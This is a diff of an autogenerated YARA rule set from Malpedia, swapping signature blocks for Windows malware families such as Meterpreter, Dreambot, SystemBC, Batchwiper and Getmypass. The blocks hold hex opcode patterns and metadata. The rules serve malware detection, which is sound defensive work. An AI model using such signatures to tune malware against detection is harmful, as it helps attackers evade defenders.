-		$sequence_6 = { c744240804000000 89442404 8b842484010000 890424 8b8424ac000000 ffd0 }
-		$sequence_7 = { 0f84d3070000 81fd03030000 0f85d5060000 8b842484010000 c744240402000000 89fb be01000000 }
-		$sequence_8 = { 8bb4244c010000 01ca 880431 0fb68424a5010000 8844290a 0fb68424a6010000 8844290b }
-		$sequence_9 = { 83ec08 0fb68c2450040000 84c9 741f 31d2 83c201 }
+		$sequence_0 = { 89450c 8d4301 0fb6d8 8a941dfcfeffff 0fb6c2 }
+		$sequence_1 = { 75e9 5b 5d c20400 }
+		$sequence_2 = { 25ffffff00 42 8a1a 84db }
+		$sequence_3 = { 8b049a 03c6 50 e8???????? }
+		$sequence_4 = { 33c0 53 8a1a 6bc80d 0fb6c3 83c0d0 }
+		$sequence_5 = { 03d6 8b481c 8b4018 03ce }
+		$sequence_6 = { 40 89450c 83ef01 75b1 8b4510 5f 5e }
+		$sequence_7 = { 85ff 7455 8b4510 89450c }
+		$sequence_8 = { 894dfc eb0e 8b14957c300010 49 0fafd1 0155fc }
+		$sequence_9 = { 8bd8 8d7e08 7504 8b2f eb02 }
+		$sequence_10 = { 0fb6805a210010 ff2485f6200010 8b8614080000 3b45f4 7e03 8945f4 8365fc00 }
+		$sequence_11 = { 6a00 ff15???????? 833e05 7521 6a10 6a40 ff15???????? }
+		$sequence_12 = { 8db720080000 833e00 751e 837efcff 7518 8b46f8 8b04855c300010 }
+		$sequence_13 = { 8b46f8 834de4ff 49 c745e8ff000000 8b3c857c300010 }
+		$sequence_14 = { 33c0 8b7df4 8b0c855c300010 c1e705 33d2 03fe }
+		$sequence_15 = { e8???????? 59 837e04ff 8bd8 8d7e08 }
 
 	condition:
-		7 of them and filesize <188416
+		7 of them and filesize <57344
 }
-rule MALPEDIA_Win_Ghost_Secret_Auto : FILE
+rule MALPEDIA_Win_Graphican_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1b3488d9-dad5-57ab-8ddb-ae7fa19ffb25"
+		id = "a2f03fc9-ee25-5fcd-896d-9bb49120884f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_secret"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ghost_secret_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphican"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.graphican_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "36f12490c5a1c42890949e26bd5a0482d94d3f78b5528e6a3d7d1ab5deca281b"
+		logic_hash = "a4c9c330e82d4ca3a447533684cd37026bb60c45e700ff39380301b043754c33"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -134159,32 +141293,32 @@ rule MALPEDIA_Win_Ghost_Secret_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d852cf1ffff 50 e8???????? 8d8548fbffff 50 e8???????? 59 }
-		$sequence_1 = { c68424af050000fd c68424b0050000f6 c68424b105000093 c68424b205000038 c68424b305000032 c68424b405000048 c68424b5050000e5 }
-		$sequence_2 = { c68424b902000066 c68424ba02000072 c68424bb0200001a c68424bc0200004a }
-		$sequence_3 = { c68424e903000052 c68424ea03000082 c68424eb03000058 c68424ec0300008e }
-		$sequence_4 = { c684243e030000f0 c684243f030000f2 c68424400300003b c6842441030000c7 c6842454050000ab c684245505000087 c6842456050000d6 }
-		$sequence_5 = { 85c0 740b 33c0 5f 5e 5b 8be5 }
-		$sequence_6 = { ff15???????? e9???????? a1???????? 33db 3bc7 7e0e 50 }
-		$sequence_7 = { c684247c05000006 c684247d0500003e c684247e05000012 c684247f05000053 c684248005000092 c684248105000042 c6842482050000e8 }
-		$sequence_8 = { c644247460 c64424751f c6442476e7 c64424778a c6442478dd c68424f40000006a 888c24f5000000 }
-		$sequence_9 = { 83c408 5f 5e 81c400200000 c3 81ecfc000000 }
+		$sequence_0 = { 8d5f07 83e3f8 03d3 3b10 7619 8b06 3bc3 }
+		$sequence_1 = { 3c65 7408 3c45 0f8570010000 47 807def00 897dc0 }
+		$sequence_2 = { 56 57 8bf1 8bfa 85db 7517 68a8010000 }
+		$sequence_3 = { 53 8bf0 6a00 56 e8???????? a1???????? }
+		$sequence_4 = { 8d0c89 8d4c48d0 8a07 42 3c30 7dd4 894de8 }
+		$sequence_5 = { 68???????? 68???????? e8???????? 83c40c 8b4ddc c7461810000000 894e1c }
+		$sequence_6 = { 8d85e8edffff 6a00 50 e8???????? 83c40c 68???????? }
+		$sequence_7 = { 68???????? 68???????? e8???????? 83c40c 8b5624 2b5620 }
+		$sequence_8 = { 8d8dc4efffff 51 50 ffd2 8bb5c4efffff 33ff }
+		$sequence_9 = { 8bd8 e8???????? 8d4311 83c404 }
 
 	condition:
-		7 of them and filesize <278528
+		7 of them and filesize <362496
 }
-rule MALPEDIA_Win_Meterpreter_Auto : FILE
+rule MALPEDIA_Win_Bee_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "94296578-89d7-5d7b-b7e4-efe037d64332"
+		id = "cf854a1b-a3fa-5497-9620-9eb04ca1acba"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.meterpreter"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.meterpreter_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bee"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bee_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "71f865d4008295f79c7afc49beb427fb0376821d7b27897466868baff3347cd2"
+		logic_hash = "d1087a1b19c31419362e6bad586912e9950c25554053241c2a8ca3db38a0bc54"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -134198,32 +141332,32 @@ rule MALPEDIA_Win_Meterpreter_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 55 8bec dcec 088b55895356 108b3a85ff89 7dfc 750e }
-		$sequence_1 = { fc b8c0150000 8b7508 33e5 257e040275 238b1d6a016a 006a00 }
-		$sequence_2 = { f1 57 52 bc40e84fff 38ff 83db14 5f }
-		$sequence_3 = { 314319 034319 83ebfc 0acb }
-		$sequence_4 = { 0000 68ffff0000 52 ffd7 8b2410 }
-		$sequence_5 = { 8be5 5d c27f00 8d4df4 8d55ec }
-		$sequence_6 = { 51 6a00 6a00 37 0052bf 15???????? 85c0 }
-		$sequence_7 = { 8b451c 8d07 a4 52 8d4d18 50 }
-		$sequence_8 = { 41 00ff 15???????? 33c0 c3 7790 55 }
-		$sequence_9 = { 83ec08 53 8b4708 57 33ff 85db }
+		$sequence_0 = { 0f8326010000 8bce d1e9 ba49922409 2bd1 3bd6 7304 }
+		$sequence_1 = { 83c404 89742418 c644244806 3bf3 741d 8b542414 }
+		$sequence_2 = { 668944241c 52 8d44241c 50 8d4c2438 c744242000000000 e8???????? }
+		$sequence_3 = { e8???????? 8b542424 56 6a00 52 e8???????? 8b7c2434 }
+		$sequence_4 = { 8d8424a4000000 8a10 3a11 751a 3ad3 7412 }
+		$sequence_5 = { 8bf9 80bfd800000000 754e 6a11 6a02 6a02 }
+		$sequence_6 = { e8???????? 8d0cb6 c1e104 03c8 89470c 894710 }
+		$sequence_7 = { 8bc3 8bcf e8???????? 2bf7 b867666666 f7ee }
+		$sequence_8 = { e8???????? 83c414 8b45fc ff34c5e4314200 }
+		$sequence_9 = { 64a300000000 8b6c2420 33db 895d04 885d0c }
 
 	condition:
-		7 of them and filesize <188416
+		7 of them and filesize <394240
 }
-rule MALPEDIA_Win_Bubblewrap_Auto : FILE
+rule MALPEDIA_Win_Doorme_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "72aba578-e67d-518b-a6f8-45bcf7609dfd"
+		id = "86390d1e-5c43-5440-9d47-06677f2da02f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bubblewrap"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bubblewrap_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.doorme_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "461e952cc7ab9a2107d029741d486c2b8296d9f39ea5fcdb3208aa0e3f3d47fd"
+		logic_hash = "36db3801adbf1063a2540e3d2f2d2feff6537948c8fe3ef7123221f42e10e308"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -134237,34 +141371,34 @@ rule MALPEDIA_Win_Bubblewrap_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 68???????? 68???????? e8???????? 8b08 83c408 890d???????? 8b5004 }
-		$sequence_1 = { ffd6 8d542464 68???????? 52 ffd6 b900020000 }
-		$sequence_2 = { 56 57 6a02 8d442418 33f6 55 50 }
-		$sequence_3 = { 880c1a 83c9ff f2ae f7d1 49 8d7c1a01 8bd1 }
-		$sequence_4 = { 81ec08020000 53 56 57 ff15???????? }
-		$sequence_5 = { f3a5 6870010000 e8???????? 8d442448 50 6870010000 }
-		$sequence_6 = { 8d6ced00 89542418 c1e503 8bc5 8bdd 25ff030000 }
-		$sequence_7 = { 880f 8810 7c89 5d 5f 5e 5b }
-		$sequence_8 = { c644241f78 c644242011 c644242106 c644242274 }
-		$sequence_9 = { 83c404 a801 740d 8d54240c 52 e8???????? 83c404 }
+		$sequence_0 = { 48837e1810 7203 488b16 4c8b4610 488d4d58 e8???????? 488d5558 }
+		$sequence_1 = { 75f6 488bd7 488d4d68 e8???????? 90 4c8d8d10010000 }
+		$sequence_2 = { 41b111 41b207 450fb6da b312 0fb6f9 40b618 4533e4 }
+		$sequence_3 = { 488b05???????? 4833c4 48894537 488bda 488bf9 4889552f c6459700 }
+		$sequence_4 = { 498b7810 4885ff 7566 48897a10 }
+		$sequence_5 = { 488d5c2478 48837d9010 480f435c2478 488d05a23f0300 488945a0 c74424400e000000 }
+		$sequence_6 = { 488b00 498bcd ff5020 48894580 498b4500 498bcd ff5018 }
+		$sequence_7 = { 75f1 4983e801 75db 4883c510 4c8d15f06b0300 48836c243001 0f8564feffff }
+		$sequence_8 = { 488d8d20030000 e8???????? 488b7d80 488b07 488bcf ff5050 }
+		$sequence_9 = { 4889442440 448bc2 48894c2420 488bd9 }
 
 	condition:
-		7 of them and filesize <57136
+		7 of them and filesize <580608
 }
-rule MALPEDIA_Win_Dreambot_Auto : FILE
+rule MALPEDIA_Win_Lock_Pos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6c3809b8-d477-5125-8734-0179b265a99d"
+		id = "d847ae83-76cd-5967-803e-bdb0585a6606"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dreambot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dreambot_auto.yar#L1-L1031"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lock_pos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lock_pos_auto.yar#L1-L140"
 		license_url = "N/A"
-		logic_hash = "d649e332b74326d8b7e280b52a73b7636b1baab8e64673c71262bd2586c99629"
+		logic_hash = "36f811da9c497d4d7cb3a11de01255e73f7c0aa2aa971faa2dbafeeb60cefda6"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -134276,141 +141410,35 @@ rule MALPEDIA_Win_Dreambot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { a802 7410 8b4730 a840 7509 83672800 e9???????? }
-		$sequence_1 = { 897b20 8b4320 c6400731 8b742414 8b3e 6a00 }
-		$sequence_2 = { 7454 68???????? 68???????? ff7320 e8???????? }
-		$sequence_3 = { 0f8555ffffff 894730 e9???????? 55 8bec }
-		$sequence_4 = { 85f6 0f84a9000000 e8???????? 85c0 0f8483000000 }
-		$sequence_5 = { e8???????? 8bf8 85ff 755a 39451c 7475 }
-		$sequence_6 = { 751a 395d10 7413 8b4618 e8???????? eb09 ff7618 }
-		$sequence_7 = { 51 51 33c0 50 56 ff5214 8bfb }
-		$sequence_8 = { 53 68???????? eb54 3bf3 745c 395d0c 7457 }
-		$sequence_9 = { 837d0c04 7516 ff7510 ff36 68???????? }
-		$sequence_10 = { ebcc 3bf3 7474 395d0c 746f 6a0d }
-		$sequence_11 = { 3bf3 0f8496000000 395d0c 0f848d000000 6a07 ebdd }
-		$sequence_12 = { 3bf3 0f8481000000 395d0c 747c 6a03 }
-		$sequence_13 = { e8???????? 894508 8b7d08 eb24 a1???????? 85c0 7520 }
-		$sequence_14 = { 745c 395d0c 7457 53 ff750c 8bfe c7450857000000 }
-		$sequence_15 = { e8???????? e9???????? 3bf3 0f8496000000 }
-		$sequence_16 = { 4803542460 41ff5220 4c8b442460 e9???????? }
-		$sequence_17 = { e8???????? 4c8b1d???????? ba0d000000 41834b3401 }
-		$sequence_18 = { 0f84b5000000 413bf5 0f84ac000000 41b807000000 ebd7 493bfd }
-		$sequence_19 = { 4c896c2420 e8???????? 4c8b442468 488b0d???????? 33d2 }
-		$sequence_20 = { 7423 41b904000000 413bf1 7518 8b17 }
-		$sequence_21 = { 418d5620 498bcf ff15???????? 4c8bf0 4885c0 }
-		$sequence_22 = { 498bcb 492bd0 4803542460 41ff5220 }
-		$sequence_23 = { 0f8492000000 41b803000000 ebbd 493bfd 0f8481000000 413bf5 }
-		$sequence_24 = { 4c8b18 488b542460 4533c9 488bc8 41ff5318 }
-		$sequence_25 = { 488d5e10 4533f6 488b0b 2580000000 418d5620 }
-		$sequence_26 = { ff15???????? e9???????? 493bfd 0f84d9000000 }
-		$sequence_27 = { e8???????? eb2c 8b05???????? 413bc5 7528 }
-		$sequence_28 = { 488b9424a8000000 4533c9 4533c0 ff5028 }
-		$sequence_29 = { 0f8481000000 413bf5 747c 41b80d000000 }
-		$sequence_30 = { 488bcf e8???????? e9???????? 493bfd 0f84b5000000 }
-		$sequence_31 = { 5f c3 4053 4883ec20 4c8b4108 488bd9 4d85c0 }
-		$sequence_32 = { 0f849b000000 413bf5 0f8492000000 41b803000000 ebbd }
-		$sequence_33 = { 33d2 89442448 ff15???????? 33d2 }
-		$sequence_34 = { 33d2 3bc2 0f85bd000000 33c0 89942498000000 }
-		$sequence_35 = { e8???????? 488b5c2428 85c0 753e 8b9424c8000000 }
-		$sequence_36 = { 3decc7eea6 0f84e8000000 3d0470a8c4 0f8486000000 }
-		$sequence_37 = { 488b0d???????? 4d8bc4 33d2 ff15???????? 488bf8 }
-		$sequence_38 = { 4883ec30 837a3c04 4c8b2a 488bf2 488bd9 }
-		$sequence_39 = { 89750c 8d750c e8???????? 8bf0 }
-		$sequence_40 = { 4883c208 4883e901 75e2 837c243801 0f86b2000000 }
-		$sequence_41 = { 8b450c 33db 895dfc e8???????? 8945f8 33ff eb03 }
-		$sequence_42 = { 75f5 eb06 8b05???????? 35fc5585cf 4533c9 }
-		$sequence_43 = { ff7310 ff15???????? 33d2 89b7184a0000 39971c4a0000 }
-		$sequence_44 = { ff33 50 6810040000 ff15???????? 8945fc }
-		$sequence_45 = { 56 33f6 46 8945f8 }
-		$sequence_46 = { c3 6a00 6800004000 6a00 ff15???????? a3???????? 85c0 }
-		$sequence_47 = { 46 8945f8 85c0 7551 }
-		$sequence_48 = { 57 4883ec20 8b05???????? 8364243800 }
-		$sequence_49 = { ff15???????? 8945fc 85c0 741a 6804010000 }
-		$sequence_50 = { 85c0 7551 ff33 50 }
-		$sequence_51 = { eb03 8b750c ff75f8 69f60d661900 ff75f4 81c65ff36e3c 89750c }
-		$sequence_52 = { 817424105085b8ed 33ff 47 57 be???????? 56 8d542418 }
-		$sequence_53 = { 1bdb f7db 83c303 ebc4 }
-		$sequence_54 = { 8b9424c8000000 85d2 7421 4533c9 }
-		$sequence_55 = { 4883f8ff 488bf8 7445 488d842488000000 }
-		$sequence_56 = { 48c7c101000080 ff15???????? 85c0 7568 4c8d8c24d0000000 4c8d8424c8000000 488d542428 }
-		$sequence_57 = { 4c8bc3 33d2 ff15???????? 4821742428 4c8d8424c8000000 488d542428 488d4c2450 }
-		$sequence_58 = { 4883c208 4983e801 75e4 8b442420 }
-		$sequence_59 = { 0f84ca010000 8b424c a801 0f840f010000 8b424c }
-		$sequence_60 = { 33c0 89942498000000 899424a8000000 8984249c000000 }
-		$sequence_61 = { 498be9 e8???????? 4885c0 488bf0 0f84a3000000 }
-		$sequence_62 = { 8db4083089b9ed 57 8d45f4 50 }
-		$sequence_63 = { 4d3bef 7415 498bd5 4883c9ff }
-		$sequence_64 = { 8b45fc 0fb700 8bc8 81e100f00000 }
-		$sequence_65 = { ff75fc e8???????? 8b45f0 40 c745e801000000 }
-		$sequence_66 = { 4c8bc6 ff15???????? 488bd8 493bc7 }
-		$sequence_67 = { 395d10 0f8402010000 6a03 eb13 3bf3 }
-		$sequence_68 = { 6a01 eb3d 3bf3 0f8420010000 }
-		$sequence_69 = { 8d85a2fcffff 53 50 895de4 e8???????? }
-		$sequence_70 = { 4885c9 7405 e8???????? 4883c428 c3 4053 }
-		$sequence_71 = { 493bc5 742f 488d4810 ff15???????? }
-		$sequence_72 = { 57 6806020000 668985a0fcffff 8d85a2fcffff 53 }
-		$sequence_73 = { 8be5 5d c20400 8325????????00 6a00 }
-		$sequence_74 = { 740e 44893d???????? 44893d???????? 488d442440 4c8d4c2440 4c8d442440 4889442430 }
-		$sequence_75 = { 89410e 5f 5e 5b c9 c20400 }
-		$sequence_76 = { 8bf0 33db 81c1fefeffff 33c0 83cfff 33d2 895dfc }
-		$sequence_77 = { 59 c20400 a1???????? 53 55 56 57 }
-		$sequence_78 = { 7505 8d5857 eb15 488b05???????? 89702a 48897d00 eb17 }
-		$sequence_79 = { eb08 ff15???????? 8bd8 413bde 0f85fb010000 488b05???????? }
-		$sequence_80 = { 66b90100 4889442420 e8???????? 3bc3 0f859b000000 }
-		$sequence_81 = { a1???????? 83c036 83c9ff f00fc108 }
-		$sequence_82 = { 0f8e2a040000 8a05???????? 4238042b 7521 448bc2 4963ce }
-		$sequence_83 = { e8???????? 488b0d???????? 448be0 f0834156ff 85c0 }
-		$sequence_84 = { 83c036 41 f00fc108 a1???????? 83c01e 50 }
-		$sequence_85 = { 488bf0 eb34 488d0595d6ffff 4885c0 7428 }
-		$sequence_86 = { 6a0a ff15???????? a1???????? 8b4036 }
-		$sequence_87 = { ffb72c080000 e8???????? 5e 5d 5b c3 eb10 }
-		$sequence_88 = { e9???????? 83f916 0f8fa7080000 0f8415080000 }
-		$sequence_89 = { 83c01e 50 ff15???????? 8a06 3a4704 7311 8b0f }
-		$sequence_90 = { 33d2 e8???????? 44892d???????? 33c9 44892d???????? e8???????? 488bcf }
-		$sequence_91 = { 8d4604 66d3e0 66098310170000 8d4103 }
-		$sequence_92 = { 488b0d???????? 4883c12e ff15???????? 4c8b05???????? 448d7b02 }
-		$sequence_93 = { 8b9314170000 83432801 b910000000 8d42f3 2aca }
-		$sequence_94 = { a1???????? 8b4c2404 8908 83c01e 50 ff15???????? }
-		$sequence_95 = { 83a78c00000000 33c0 c3 51 e8???????? }
-		$sequence_96 = { 8b4036 85c0 75ec 8b442404 53 8a1e }
-		$sequence_97 = { 5f 5e 5b c20800 51 53 57 }
-		$sequence_98 = { e9???????? 83e908 74eb 2bcb 0f84fa000000 2bcb }
-		$sequence_99 = { a1???????? 6a00 e8???????? a1???????? 83c01e 50 ff15???????? }
-		$sequence_100 = { c3 33c0 483bc8 7458 488b5128 483bd0 }
-		$sequence_101 = { c9 c20800 55 8bec 81ec1c010000 8d4807 83e1f8 }
-		$sequence_102 = { 5b 8be5 5d c3 0fb708 6683f902 751c }
-		$sequence_103 = { 488bd8 488b05???????? f0834056ff 4885db 0f84ec000000 }
-		$sequence_104 = { ffd7 8b1d???????? 6a3a b8???????? 56 }
-		$sequence_105 = { 48895c2408 57 4883ec30 488bd9 488b0d???????? 488bfa 4883c12e }
-		$sequence_106 = { 488b15???????? 4c8d442468 48c7c101000080 ff15???????? }
-		$sequence_107 = { 83839c000000ff 397818 0f852ffcffff 33c0 }
-		$sequence_108 = { ff35???????? c74424200e440410 c744241c08000000 ffd6 8bf8 }
-		$sequence_109 = { e8???????? 8bf0 83fe0c 74c5 3bf3 0f8581020000 a1???????? }
-		$sequence_110 = { 8b831c70be03 3305???????? 8b3d???????? 50 33f6 56 8bef }
-		$sequence_111 = { c1e804 46 33048d1062be03 85ff }
-		$sequence_112 = { 7470 8b3d???????? 56 c7459c44000000 ffd7 8d45e8 50 }
-		$sequence_113 = { 397dfc 7417 a1???????? 8b55fc 354c4e4c7e 50 }
-		$sequence_114 = { e8???????? 3bc5 89442430 0f84ac010000 53 55 }
-		$sequence_115 = { 3934850875be03 742a 8d41ff 85c0 7c10 3934850875be03 7403 }
-		$sequence_116 = { 8b30 03f5 85f6 89b31c70be03 740a }
-		$sequence_117 = { 68???????? ffd6 a3???????? 33ff 8db7c4260410 }
-		$sequence_118 = { ff75ec 8b3d???????? 8bd8 ffd7 ff75e8 ffd7 eb08 }
+		$sequence_0 = { 8bec 8b4508 8b0d???????? 8b0481 }
+		$sequence_1 = { 55 8bec 837d0800 7704 }
+		$sequence_2 = { 55 8bec 81eca4040000 56 }
+		$sequence_3 = { 8d85f8fdffff 50 6a00 6a00 6a23 6a00 ff15???????? }
+		$sequence_4 = { 0fb64dfb 85c9 741c 8b5514 8b45fc }
+		$sequence_5 = { 2bc8 c745fc04000000 8a1401 8810 40 }
+		$sequence_6 = { 8b55f8 8b4508 8910 8b45c4 }
+		$sequence_7 = { 3bc6 0f85a1000000 32db e8???????? 84db }
+		$sequence_8 = { 8b55fc 8b450c 0fb70c50 334d14 }
+		$sequence_9 = { 33c9 84c0 0f95c1 41 51 ff75e4 }
+		$sequence_10 = { 894dfc 8b55dc 83c201 8955dc ebd2 8b45f8 }
+		$sequence_11 = { e8???????? 83c408 8d9568ffffff 52 e8???????? 83c404 50 }
+		$sequence_12 = { 50 eb4b 8b45f8 3bc3 764e 03c7 }
 
 	condition:
-		7 of them and filesize <802816
+		7 of them and filesize <319488
 }
-rule MALPEDIA_Win_Poldat_Auto : FILE
+rule MALPEDIA_Win_Batchwiper_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a4b71e9b-caa3-5e09-abcb-8fc111c1e88a"
+		id = "cb044b8c-027b-5368-bd79-45da5d915947"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poldat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.poldat_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.batchwiper"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.batchwiper_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "eec21397be824c40480269ad179cee66cff4f29ddc631fb679aa6de7be434481"
+		logic_hash = "14983b1d6532d433e6ad6924f17da812f5983b6eabd0fde8fd8892a9d3b6fb0b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -134424,32 +141452,32 @@ rule MALPEDIA_Win_Poldat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b35???????? 6a08 66ab 58 }
-		$sequence_1 = { 57 6a05 6a00 68???????? }
-		$sequence_2 = { 50 e8???????? 68fe010000 8d86b8070000 57 }
-		$sequence_3 = { 8a50ff 881431 41 48 3d???????? 7ff1 8d45fc }
-		$sequence_4 = { 8b0c9d68c34100 8b5e04 23ca 03cb 33db 8a1cce 8d34ce }
-		$sequence_5 = { 50 ff15???????? 56 e8???????? 59 5f 5e }
-		$sequence_6 = { 8b4c241c 8b0c8d68c34100 23cf 03c1 8b4c241c d3ef 03ca }
-		$sequence_7 = { 750a c74720a0324000 895728 395724 7507 }
-		$sequence_8 = { 7233 e9???????? 8b4c243c 8b5c2410 8b7104 c7411824d84100 }
-		$sequence_9 = { f7f9 8bfa ffd6 50 }
+		$sequence_0 = { 83c001 8bce c1e908 330c9de8904000 }
+		$sequence_1 = { 8b0424 894510 8b442408 894514 8b442404 }
+		$sequence_2 = { 8b442408 894514 8b442404 894518 8d44240c }
+		$sequence_3 = { e8???????? 50 31db 3b1c24 756b }
+		$sequence_4 = { 89d8 e8???????? 89c3 83fb01 7531 ff35???????? }
+		$sequence_5 = { 83fb01 7531 ff35???????? ba???????? e8???????? 8b15???????? e8???????? }
+		$sequence_6 = { e8???????? 89c3 83fb01 7531 ff35???????? ba???????? }
+		$sequence_7 = { e8???????? 8d0d28b14000 5a e8???????? 8b15???????? ff35???????? e8???????? }
+		$sequence_8 = { ba???????? e8???????? 8d0d28b14000 5a e8???????? 8b15???????? ff35???????? }
+		$sequence_9 = { c705????????02000000 893d???????? c705????????dd424000 c705????????80464000 c705????????da464000 c705????????00474000 }
 
 	condition:
-		7 of them and filesize <247808
+		7 of them and filesize <270336
 }
-rule MALPEDIA_Win_Systembc_Auto : FILE
+rule MALPEDIA_Win_Getmypass_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "33299700-4e02-5584-bb63-8a8197d8417b"
+		id = "083431d4-35f0-5afc-be73-c4abda9f956c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.systembc_auto.yar#L1-L115"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.getmypass"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.getmypass_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "29f113c1b3510221b57bbc147c9c5017608a490a95fbc04ce80eea2621980153"
+		logic_hash = "73655fc056c3c045e75de418123d8e1cd087892e700c185d02f9fb25dda3b86c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -134463,32 +141491,32 @@ rule MALPEDIA_Win_Systembc_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b8e88010000 8b968c010000 8bb690010000 8945e4 895df4 }
-		$sequence_1 = { 52 6a00 6a00 6a00 ffb568f9ffff }
-		$sequence_2 = { 668b9554f9ffff 6a00 6a00 6a03 6a00 6a00 }
-		$sequence_3 = { 898568f9ffff c7856cf9ffff00040000 8d853cf9ffff 50 6a00 6a00 }
-		$sequence_4 = { 81c200008000 81c200100000 81c200200000 6a00 52 }
-		$sequence_5 = { 8d851cf4ffff 50 6800010000 57 ffb530f4ffff }
-		$sequence_6 = { 50 e8???????? ffd0 8b85f4feffff }
-		$sequence_7 = { 43 3b5dfc 7296 33c0 5e 5f }
-		$sequence_8 = { 668b9554f9ffff 6a00 6a00 6a03 6a00 }
-		$sequence_9 = { 57 56 8b7d10 33c0 }
+		$sequence_0 = { 83c201 8955fc ebcb 837dfc05 7e04 b001 eb02 }
+		$sequence_1 = { 0fb64d08 85c9 7418 8b9594fdffff 52 }
+		$sequence_2 = { 68???????? 68???????? e8???????? 83c408 8945fc 837dfc00 7463 }
+		$sequence_3 = { 6a00 8b45f8 50 ff15???????? e8???????? }
+		$sequence_4 = { 8945f4 837df400 742d 8b55f4 0fb702 83f831 750c }
+		$sequence_5 = { e8???????? 83c404 a3???????? 8b55f8 52 e8???????? 83c404 }
+		$sequence_6 = { 83f835 7409 0fbe4d08 83f934 }
+		$sequence_7 = { e8???????? 83c404 8945fc 837dfcff 740e }
+		$sequence_8 = { 8b55f8 8b4204 2b450c 8b4df8 0301 50 }
+		$sequence_9 = { 83f801 7509 c745e400000000 eb17 8b5508 83c201 }
 
 	condition:
-		7 of them and filesize <57344
+		7 of them and filesize <49152
 }
-rule MALPEDIA_Win_Unidentified_045_Auto : FILE
+rule MALPEDIA_Win_Byeby_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a8bfd3f0-95b3-5af9-8c6f-fa63b3ef83b3"
+		id = "74fc8a87-5c7b-524e-8e78-621f0d855f26"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_045"
